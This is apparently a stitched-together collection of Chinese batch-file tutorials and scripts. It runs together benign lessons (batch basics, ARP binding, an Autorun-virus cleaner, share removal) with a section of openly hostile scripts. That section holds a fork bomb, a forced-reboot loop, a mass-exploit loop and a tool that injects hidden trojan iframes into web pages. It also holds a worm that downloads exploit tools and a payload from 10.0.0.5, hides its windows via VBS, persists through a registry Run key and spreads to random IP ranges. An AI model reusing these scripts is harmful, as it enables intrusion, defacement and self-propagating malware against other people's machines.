好玩的批处理

合集下载

十分经典的批处理教程精编版

十分经典的批处理教程精编版

十分经典的批处理教程这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。

写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。

.先概述一下批处理是个什么东东。

批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。

或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。

OK,never claver and get to business(闲话少说言归正传)。

批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。

它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。

批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。

我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。

所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。

批处理教程by伤脑筋非常批处理论坛

批处理教程by伤脑筋非常批处理论坛

批处理教程by伤脑筋非常批处理论坛第一节(批处理基础)各位非常批处理的朋友们,现在我们开始学习批处理新手系列教学的第一课!(适合没有编程经验的朋友)按照惯例,先讲一下什么是"批处理".顾名思义,批处理就是把一批或者说是一条条命令放在一个文本里,然后批量执行!执行这一批命令的文件的扩展名是BAT或者CMD,把任何一批命令放入在有这样扩展名的文件里,执行时里面的命令就会一条条的执行完,当然我们还可以在其中加入一些逻辑判断的语句,让里面的命令在满足一定条件时执行指定的命令.了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BAT!"pause把上面的3条命令保存为test.bat或者test.cmd然后执行,他就会在屏幕上显示二行话:"欢迎来到非常BAT!请按任意键继续. . ."这就是一个简单批处理文件了,我们来分析一下.这个批处理文件一共就用了2条命令 "echo" 和"pause" 还有一个特殊符号"@"@符号在批处理中的作用是关闭当前行命令的回显,也就是不显示执行的是什么命令,只显示命令的结果!你可以执行下面这个批处理文件来理解,保存为*.bat或者*.CMD @echo 你好echo 你好@pauseecho命令的作用有两个,一个是在CMD上回显一行内容.如:echo "欢迎来到非常BAT!",还一个是关闭命令的回显:echo offecho off的作用就相当于在每条命令前面加一个@符号,这样所有的命令将只会显示结果不显示命令.我们在echo off这命令前加一个@符号是为了不让echo off这条命令本身显示出来,让批处理更完美!pause命令就是暂停的意思,防止批处理执行完后直接退出!执行pause命令后会自动在CMD里显示"请按任意键继续. . ."这样一行话!从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)批处理的常见命令REMECHOGOTOCALLPAUSEIF还有(FOR,SETLOCAL,SHIFT)这几个命令比较难,不适合写在基础篇,以后说明!批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。

几个恶心的批处理

几个恶心的批处理

第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0就这3行了第二个:让对方重启指定次数(害人专用)@echo offif not exist c:\1.txt echo. >c:\1.txt & goto err1if not exist c:\2.txt echo. >c:\2.txt & goto err1if not exist c:\3.txt echo. >c:\3.txt & goto err1if not exist c:\4.txt echo. >c:\4.txt & goto err1if not exist c:\5.txt echo. >c:\5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启第三个:自动踢人(3389肉机保护自己专用)@echo offlogoff 1del log.batlogoff后面的1改成自己登陆的ID号,用query user查看第四个: 批量自动溢出@for /f %%i in (result.txt) do 42 %%i 58.44.89.158 521先自己用NC监听端口,多开几个,然后指行,就自动溢出了抓鸡必备!第五个:自动挂马改主页@echo offclsrem 直接打批处理名字就有帮助title 批量挂马,改首页color Aset pan=%1set ye=%2set dai=%3if "%pan%"=="" goto e1if "%ye%"=="" goto e1if "%dai%"=="" goto e1if "%dai%"=="htm.txt" goto u1forfiles /p %pan% /m %ye% /s /c "cmd /c if @isdir==FALSE echo ^<iframe src="http://%dai%" width="0" height="0" frameborder="0"^> >>@path"echo.echo 代码全部插入完毕!!!!echo.pausegoto e1:u1echo 您现在的操作将使%pan%盘下,全部名为%ye%的内容变为您要更改的内容.echo 这将是非常危险的,您真的要这样做? 回车却认,Ctrl+c取消操作.pauseforfiles /p %pan% /m %ye% /s /c "cmd /c if @isdir==FALSE copy %1\htm.txt @path /y"echo.echo 首页全部更改完必!!!!如果您发现没有替换成功,请将%ye%文件只读属性去掉. echo.pause:e1echo.echo 本批处理只适用于2003系统,其他系统要使用,请将forfiles.exe拷贝至系统盘system32目录下echo 用法:snj ^<搜索盘符^> ^<文件名^> ^<网马地址^>echo 例子:snj d:\ index.asp /mm.htmecho 批处理将自动添加^<iframe^>标记echo.echo 如果您要更改全部网站的首页!请在批处理文件所在目录下,新建一个名为htm.txt的文本文件.echo 然后将要更改的代码加COPY到里面保存.然后将命令的^<网马地址^>项输入为htm.txt 即可.echo 例子:snj d:\ index.asp htm.txtecho.echo 为了能准确无误执行批处理请最好先把记事本的"自动换行功能去掉",让命令保持在一行才能正确执行.echo.echo 使用此批处理造成一切后果本人概不负责,请大家谨慎使用!echo.第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒del c:\42.exedel c:\nc.exedel c:\ip.exeecho dim wsh > %systemroot%\help\test.vbsecho set wsh=CreateObject("WScript.Shell") >> %systemroot%\help\test.vbsecho wsh.run "cmd /c %systemroot%\help\nc -v -l -p 810 < %systemroot%\help\or.txt",0 >> %systemroot%\help\test.vbsecho dim wsh > %systemroot%\help\test2.vbsecho set wsh=CreateObject("WScript.Shell") >> %systemroot%\help\test2.vbsecho wsh.run "cmd /c start %systemroot%\help\good.bat",0 >> %systemroot%\help\test2.vbs echo open 10.0.0.5 > %systemroot%\help\ftp.txtecho open myyes >> %systemroot%\help\ftp.txtecho 1 >> %systemroot%\help\ftp.txtecho binary >> %systemroot%\help\ftp.txtecho get 42.exe c:\42.exe >> %systemroot%\help\ftp.txtecho get nc.exe c:\nc.exe >> %systemroot%\help\ftp.txtecho get ip.exe c:\ip.exe >> %systemroot%\help\ftp.txtecho bye >> %systemroot%\help\ftp.txtecho echo Set xPost = CreateObject("Microsoft.XMLHTTP") ^>1.vbs > %systemroot%\help\or.txt echo echo xPost.Open "GET","http://10.0.0.5/my.exe&quo...,0 ^>^>1.vbs >> %systemroot%\help\or.txtecho echo xPost.Send() ^>^>1.vbs >> %systemroot%\help\or.txtecho echo Set sGet = CreateObject("ADODB.Stream") ^>^>1.vbs >> %systemroot%\help\or.txt echo echo sGet.Mode = 3 ^>^>1.vbs >> %systemroot%\help\or.txtecho echo sGet.Type = 1 ^>^>1.vbs >> %systemroot%\help\or.txtecho echo sGet.Write(xPost.responseBody) ^>^>1.vbs >> %systemroot%\help\or.txtecho echo sGet.SaveToFile "d:\my.exe",2 ^>^>1.vbs >> %systemroot%\help\or.txtecho echo 1.vbs ^>^>1.vbs >> %systemroot%\help\or.txtecho echo my.exe ^>^>1.vbs >> %systemroot%\help\or.txtecho Windows Registry Editor Version 5.00 > %systemroot%\help\1.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> %systemroot %\help\1.regecho "SKYNET Personal FireWall"="F:\\系统安全工具[url=file://\\FireWall\\PFW.exe]\\FireWall\\PFW.exe[/url]" >> %systemroot%\help\1.regecho "1"="%systemroot%\\help\\test2.vbs" >> %systemroot%\help\1.regif not exist %systemroot%\help\good.bat copy good.bat %systemroot%\help\good.bat & %systemroot%\help\test2.vbs & del good.batregedit -s %systemroot%\help\1.regftp -s:%systemroot%\help\ftp.txtmove c:\nc.exe %systemroot%\help\ /ymove c:\42.exe %systemroot%\help\ /ymove c:\ip.exe %systemroot%\help\ /y%systemroot%\help\test.vbsrem for /f %%i in (result1.txt) do set a=%%irem for /f %%j in (result.txt) do 42 %a% %%j 810准备:1:找一个反向连接的溢出攻击程序,如ms06040漏洞2:找呀一个免费FTP空间,最好是送域名的3:利用你所知道的高级语言编写一个,能生成随机范围IP地址和找到本机IP的工具.思路:用for语句对指定文本里的IP进行溢出,然后用if语句判断是否溢出成功, 如果成功开启一个NC监听端口,NC后面带一个< 输入符号输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下因为批处理运行后会闪出命令行窗口,我门可以利用VBS脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下echo dim wsh > %systemroot%\help\test.vbsecho set wsh=CreateObject("WScript.Shell") >> %systemroot%\help\test.vbsecho wsh.run "cmd /c %systemroot%\help\nc -v -l -p 810 < %systemroot%\help\or.txt",0 >> %systemroot%\help\test.vbs生成随机IP工具的VB代码Private Sub Form_Load()Dim fso As New FileSystemObjectDim a, b, c, d As IntegerDim ph, e As Stringph = App.Path & "\" & "ip.txt"Randomizea = Int(253 * Rnd + 1)b = Int(253 * Rnd + 1)c = Int(240 * Rnd + 1)Open ph For Output As #1For i = c To c + 7For j = 1 To 254e = a & "." & b & "." & i & "." & jPrint #1, eDoEventsNext jNext iClose #1Unload MeEnd Sub。

来说点儿“常用批处理”

来说点儿“常用批处理”

来说点儿“常用批处理”端午节的一份小礼物:《来说点儿“常用批处理”》批处理平时用到的倒还挺多的,毕竟有时相对比较方便。

在此提供一些常用的,仅供大家相互学习和参考/thread-713330-1.html这篇帖子里有打包文件。

以下每个用记事本编辑保存为.BAT格式运行即可:1.ARP本机绑定@echo offif exist ipconfig.txt del ipconfig.txtipconfig /all >ipconfig.txtif exist phyaddr.txt del phyaddr.txtfind "Physical Address" ipconfig.txt >phyaddr.txtfor /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%Mif exist IPAddr.txt del IPaddr.txtfind "IP Address" ipconfig.txt >IPAddr.txtfor /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I arp -s %IP% %Mac%del ipaddr.txtdel ipconfig.txtdel phyaddr.txtexit2.Autorun 病毒清除工具@Echo Offcolor 2ftitle Autorun 病毒清除工具-By superxiaoyuerRem 杀进程taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul:clearautoclsEcho.Echo Autorun 病毒清除工具Echo.Echo.Echo.Echo 制作:superxiaoyuerEcho.Echo 本程序运行后自动清除每个盘符下面的Autorun病毒Echo 本程序原理是基于读取每个盘符下的Autorun.inf相关字段Echo.Echo [1] 仅仅删除所有盘符下的 Autorun 病毒Echo [2] 删除所有盘符下的 Autorun 病毒并且建立同名免疫目录(推荐!)Echo [3] 禁用系统的 Autorun 机制以避免 Autorun 病毒的再次感染Echo [4] 取消所有盘符的 Autorun 病毒免疫Echo [5] 删除并免疫指定盘符的 Autorun 病毒Echo [6] 取消免疫指定盘符Echo [7] 恢复相关注册表项默认值Echo [0] 退出Echo.Set /p clearslt= 请输入您的选择(1/2/3/4/5/6/7/0):If "%clearslt%"=="" Goto clearautoIf "%clearslt%"=="1" Goto clearauto1If "%clearslt%"=="2" Goto clearauto2If "%clearslt%"=="3" Goto clearauto3If "%clearslt%"=="4" Goto clearauto4If "%clearslt%"=="5" Goto clearauto5If "%clearslt%"=="6" Goto clearauto6If "%clearslt%"=="7" Goto clearauto7If "%clearslt%"=="0" Exit:clearauto1taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulFor %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nulDel /a /f /q %%a:\autorun.inf >nul 2>nul) >nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nulDel /a /f /q %%a:\autorun.inf >nul 2>nul) >nul 2>nul)clsEcho Autorun 病毒清除完毕,任意键返回……pause>nulGoto clearauto:clearauto2taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulFor %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b\免疫目录不要删除!...\" & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nulDel /a /f /q %%a:\autorun.inf & md "%%a:\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %%a:\autorun.inf & Echo Y|cacls "%%a:\autorun.inf" /T /C /P everyone:N >nul 2>nul ) >nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b\免疫目录不要删除!...\" & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nulDel /a /f /q %%a:\autorun.inf & md "%%a:\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %%a:\autorun.inf & Echo Y|cacls "%%a:\autorun.inf" /T /C /P everyone:N >nul 2>nul) >nul 2>nul)clsEcho Autorun 病毒清除并免疫完毕,任意键返回……pause>nulGoto clearauto:clearauto3clsEcho.Echo 正在停止相关服务……Echo.reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies \Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nulreg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies \Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nulnet stop ShellHWDetection >nul 2>nulsc config ShellHWDetection start= disabled >nul 2>nulRem 添加防止从回收站或仿回收站的目录中直接运行可执行文件的策略SetREGPATH=HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer \CodeIdentifiers\0\PathsSet SFLAG=/v SaferFlags /t REG_DWORD /d 0x00000000 /f Set IDATA=/f /v ItemData /d "?:\Recyc?reg add %REGPATH%\{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %SFLAG%>nulreg add %REGPATH%\{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %IDATA%\*\*\*\*.*">nulreg add %REGPATH%\{41fe7eed-c47a-46f6-840a-240796fd03cf} %SFLAG%>nulreg add %REGPATH%\{41fe7eed-c47a-46f6-840a-240796fd03cf} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{4e93c91c-a40e-462e-9b89-3b0832d222d9} %SFLAG%>nulreg add %REGPATH%\{4e93c91c-a40e-462e-9b89-3b0832d222d9} %IDATA%\*.*">nulreg add %REGPATH%\{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %SFLAG%>nulreg add %REGPATH%\{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %IDATA%\*\*\*\*.*">nulreg add %REGPATH%\{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %SFLAG%>nulreg add %REGPATH%\{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %IDATA%\*.*">nulreg add %REGPATH%\{5f8ff865-0638-4c6e-98de-923e7bc6b330} %SFLAG%>nulreg add %REGPATH%\{5f8ff865-0638-4c6e-98de-923e7bc6b330} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{649c1429-0e79-453c-abe9-b5682e035ae7} %SFLAG%>nulreg add %REGPATH%\{649c1429-0e79-453c-abe9-b5682e035ae7} %IDATA%\*\*.*">nulreg add %REGPATH%\{718f54b2-c669-4d7b-aeff-18d69f100034} %SFLAG%>nulreg add %REGPATH%\{718f54b2-c669-4d7b-aeff-18d69f100034} %IDATA%\*\*.*">nulreg add %REGPATH%\{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %SFLAG%>nulreg add %REGPATH%\{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %IDATA%\*.*">nulreg add %REGPATH%\{af2a4fcf-441c-421e-9663-52cd3502cfd7} %SFLAG%>nulreg add %REGPATH%\{af2a4fcf-441c-421e-9663-52cd3502cfd7} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{b997f4b2-c037-4e97-b051-31f5d86df802} %SFLAG%>nulreg add %REGPATH%\{b997f4b2-c037-4e97-b051-31f5d86df802} %IDATA%\*\*.*">nulreg add %REGPATH%\{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} %SFLAG%>nulreg add %REGPATH%\{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} /f /v ItemData /d "RECYC*.*">nulRem 清除喜欢利用回收站的移动磁盘自动运行病毒For %%a In (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) Do (For %%b In (exe pif com) Do (Echo Y|cacls "%%a:\Recycler\*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:\Recycled\*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:\Recycled\Recycled\*.%%b" /C /T /P everyone:F>nul 2>nul Del /A /F /S /Q "%%a:\Recycler\*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:\Recycled\*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:\Recycled\Recycled\*.%%b">nul 2>nul))>nul 2>nulEcho.Echo 相关服务已停止并禁用,任意键返回……pause >nulGoto clearauto:clearauto4For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul )>nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul )>nul 2>nul)clsEcho.Echo 已经解除全部盘符的免疫,任意键返回……pause>nulGoto clearauto:clearauto5clsEcho.Set /p pf= 请输入盘符,如"F:"(不包括引号)Echo 即将免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将免疫%pf%盘……taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IMsxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulfsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%a In (%pf%\autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a\免疫目录不要删除!...\" & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nulDel /a /f /q %pf%\autorun.inf & md "%pf%\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %pf%\autorun.inf & Echo Y|cacls "%pf%\autorun.inf" /T /C /P everyone:N >nul 2>nul Goto DoneclearAuto) >nul 2>nulfsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%a In (%pf%\autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a\免疫目录不要删除!...\" & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nulDel /a /f /q %pf%\autorun.inf & md "%pf%\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %pf%\autorun.inf & Echo Y|cacls "%pf%\autorun.inf" /T /C /P everyone:N >nul 2>nul Goto DoneclearAuto) >nul 2>nulEcho.Echo 您所输入的盘符不存在或者是只读设备,Echo 请重新输入Goto clearauto5:DoneclearAutoclsEcho.Echo 指定的磁盘 %pf% 已经成功进行了 Autorun 病毒的清除及免疫Echo.Echo [1] 继续免疫其他磁盘Echo [0] 返回主菜单Set /p choice= 请输入您的选择(1/0):If %choice%="" Goto DoneclearAutoIf %choice%="1" Goto clearauto5If %choice%="0" Goto clearauto:clearauto6clsEcho.Set /p pf= 请输入盘符,如"F:"(不包括引号)Echo 即将取消免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将取消免疫%pf%盘……fsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (cacls "%pf%\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%\autorun.inf" & rd /s /q "%pf%\autorun.inf">nul 2>nul Goto DoneUnauto)>nul 2>nulfsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (cacls "%pf%\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%\autorun.inf" & rd /s /q "%pf%\autorun.inf">nul 2>nul Goto DoneUnauto)>nul 2>nulEcho.Echo 您所输入的盘符不存在或者是只读设备,Echo 请重新输入Goto clearauto6:DoneUnautoclsEcho.Echo 指定的磁盘 %pf% 已经成功解除了 Autorun 病毒免疫Echo.Echo [1] 继续解除免疫其他磁盘Echo [0] 返回主菜单Set choice=Set /p choice= 请输入您的选择(1/0):If %choice%="" Goto DoneUnautoIf %choice%="1" Goto clearauto6If %choice%="0" Goto clearauto:clearauto7clsRem 防止在资源管理器中彻底隐藏文件、禁止文件等reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore r\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t REG_DWORD /d 0x00000001 /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ MountPoints2" /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ex plorer\DisallowRun" /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ex plorer" /v DisallowRun /f>nul 2>nulRem 防止转移启动组位置reg add"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v Startup /d "%USERPROFILE%\「开始」菜单\程序\启动" /f>nul 2>nulreg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v "Common Startup" /d "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" /f>nul 2>nulEcho.Echo 相关注册表恢复完毕,任意键返回……pause>nulGoto clearauto3.C盘转换为NTFS格式@ ECHO OFF@ ECHO.@ ECHO. 说明@ ECHO ---------------------------------------------------------------@ ECHO NTFS格式是WinXP推荐使用的格式。

几款经典批处理实例(Severalclassicbatchprocessingexamples)

几款经典批处理实例(Severalclassicbatchprocessingexamples)

几款经典批处理实例(Several classic batch processing examples)Several classic batch processing examplesAuthor: unknown article source: network click number: 453 update time: 2006-6-13 0:34:141. delete batch processing by default sharing of win2k/xp systemHere then save as ------------------------ cut.Bat or.Cmd file ---------------------------@echo preparing to delete all the default shares.when ready press any key.@pause@echo offRem check parameters if NULL show usage.If {%1}=={} goto: UsageRem code start.Echo.Echo ------------------------------------------------------Echo.Echo Now deleting all the default shares. Echo.Net share%1$/deleteNet share%2$/deleteNet share%3$/deleteNet share%4$/deleteNet share%5$/deleteNet share%6$/deleteNet share%7$/deleteNet share%8$/deleteNet share%9$/deleteNet stop ServerNet start ServerEcho.Echo All the shares have been deleteed Echo.Echo ------------------------------------------------------Echo.Echo Now modify the registry to change the system default properties.Echo.Echo Now creating the registry fileEcho Windows Registry Editor Version 5.00> c:/delshare.regEcho[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanma nserver/parameters]>> c:/delshare.regEcho "AutoShareWks" =dword:00000000>> c:/delshare.regEcho "AutoShareServer" =dword:00000000>> c:/delshare.regEcho Nowing using the registry file to chang the system default properties.Regedit /s c:/delshare.regEcho Deleting the temprotarily files.Del c:/delshare.regGoto: END: UsageEcho.Echo ------------------------------------------------------ Echo.Echo A example for batch fileEcho [Use batch file to change the sysytem share properties.] Echo.Echo Author:Ex4rchEchoMail:********************:1672602Echo.Echo Error:Not enough parametersEcho.Echo Please enter the share disk you wanna deleteEcho.Echo For instance, to delete the default shares:Echo delshare C D E IPC admin printEcho.Echo If the disklable is not as C: D: E:, Please chang it youself.Echo.Echo example:Echo If locak disklable are C: D: E: X: Y: Z:, you should chang the command into:Echo delshare C D E X Y Z IPC admin printEcho.Echo * * you can delete nine shares once in a useing * *Echo.Echo ------------------------------------------------------Goto: EOF: ENDEcho.Echo ------------------------------------------------------Echo.Echo OK, delshare.bat has deleted all the share you assigned.Echo.Anyquestions,**********************************.EchoesEchoes。

批处理的例子

批处理的例子

批处理的例子
以下是 7 条关于批处理的例子:
1. 你知道吗?我经常用批处理来一次性重命名大量文件,就像给一群小鸭子统一穿上特定的衣服一样!比如说,我有一堆杂乱的照片,我就可以写个批处理脚本,让它们瞬间变得整齐有序,多方便啊!
2. 批处理还能帮我快速备份重要文件呢!这不就像是给自己的宝贝找个安全的地方藏起来一样嘛。

有一次我怕电脑出问题,就用批处理把关键资料快速转移到了另一个地方,哇,真是松了一口气!
3. 嘿,告诉你们哦,批处理在整理文件夹方面那可是一绝呀!它可以像个勤劳的小管家一样,把各类文件归到各自该去的地方。

我上次就用它把下载文件夹整理得井井有条,厉害吧!
4. 还记得那次公司要处理大量数据,我就用批处理来搞定,它就如同一个超级大力士,轻松地扛起了繁重的任务!大家都对我竖起了大拇指呢,这感觉超棒的呀!
5. 批处理还能帮我自动化一些繁琐的操作呢,好比给我配备了一个小助手。

比如自动删除一些临时文件,让电脑运行更顺畅,何乐而不为呢?
6. 你们有没有试过用批处理来批量安装软件呀?哇,那效率简直高得惊人!就像是给一群士兵同时装备上武器一样迅速,太赞了!
7. 批处理真的是超级实用啊!无论是整理文件、备份数据还是自动化操作,它都能帮上大忙。

它就像我们的秘密武器,能让很多麻烦的事情变得简单起来,所以大家一定要学会好好利用它呀!。

有趣的批处理

有趣的批处理
>>%temp%\reglist.txt echo 软件名称:%%i
>>%temp%\reglist.txt echo ================================================================
if %UserChoice%==2 goto fang
if %UserChoice%==3 goto jiecheng
goto error
REM 普通运算
:normal
cls
echo.
echo.
echo.
echo ╭—————————╮
echo │ 普通+-×÷运算 │
mode con cols=50 lines=5
setlocal enabledelayedexpansion
>Dos帮助文档.txt echo Dos帮助文档
>>Dos帮助文档.txt echo.
for /f "tokens=* delims=" %%k in ('reg query "hklm\software\%%i\%%j" /S^|findstr /c:"REG_SZ" ') do (
set /a n+=1
cls
echo 已扫扫描项值: !n! 当前信息: %%j
color 0c
echo.
echo.
echo.
echo ╭————————————╮
echo │ 输入错误,请参考帮助! │
echo ╰————————————╯
echo.

精彩批处理代码

精彩批处理代码

精彩批处理代码接收键盘输⼊字符串的程序:: Get user input - includes error check@echo offecho e102'set %%1='> %temp%.\t1.datfor %%? in (w q) do echo %%?>> %temp%.\t1.dat:inputecho.echo Type input:FC con nul /lb1 /n |FIND "1:" > %temp%.\t2.bat:: Error checking begins hereFIND "|" %temp%.\t2.bat > nulif not errorlevel=1 goto errorFIND "=" %temp%.\t2.bat > nulif not errorlevel=1 goto errorFIND " nulif not errorlevel=1 goto errorFIND ">" %temp%.\t2.bat > nulif not errorlevel=1 goto error:: Error checking endDEBUG %temp%.\t2.bat nulcall %temp%.\t2.bat 字符串for %%? in (t1.dat t2.bat) do del %temp%.\%%?echo 字符串=%字符串%goto eof:errorecho.echo @PROMPT Invalid input. Invalid characters: $Q $L $G $B$_> %temp%.\t2.bat%comspec% /c %temp%.\t2.bat |FIND ":"goto input:eof⼀个修改⽂件的更新⽇期的程序@echo offrem 保存系统时间echo.|date>sysdate.batecho.|time>systime.batrem 修改系统时间为指定时间,⽇期为参数⼀,时间为参数⼆,⽂件名为参数三date %1time %2rem 修改⽂件的时间copy %3+,,>nulrem 恢复系统时间echo date %%4>current.batcall sysdateecho time %%3>current.batcall systimerem 程序执⾏完毕echo Success.del systime.batdel sysdate.batdel current.batecho onPING某个区段内的所有IP的程序在命令⾏输⼊ a.bat 0 1 2 3 4 5 6 7 8 9 ,就能显⽰某区段的所有 IP 地址 192.168.1.0 - 192.168.1.99 ,将其中的 echo 改成 ping 就⾏,其中的 choice 和 if 语句是等待⽤户判断是否继续,可以删除,但这样中断程序⽐较⿇烦。

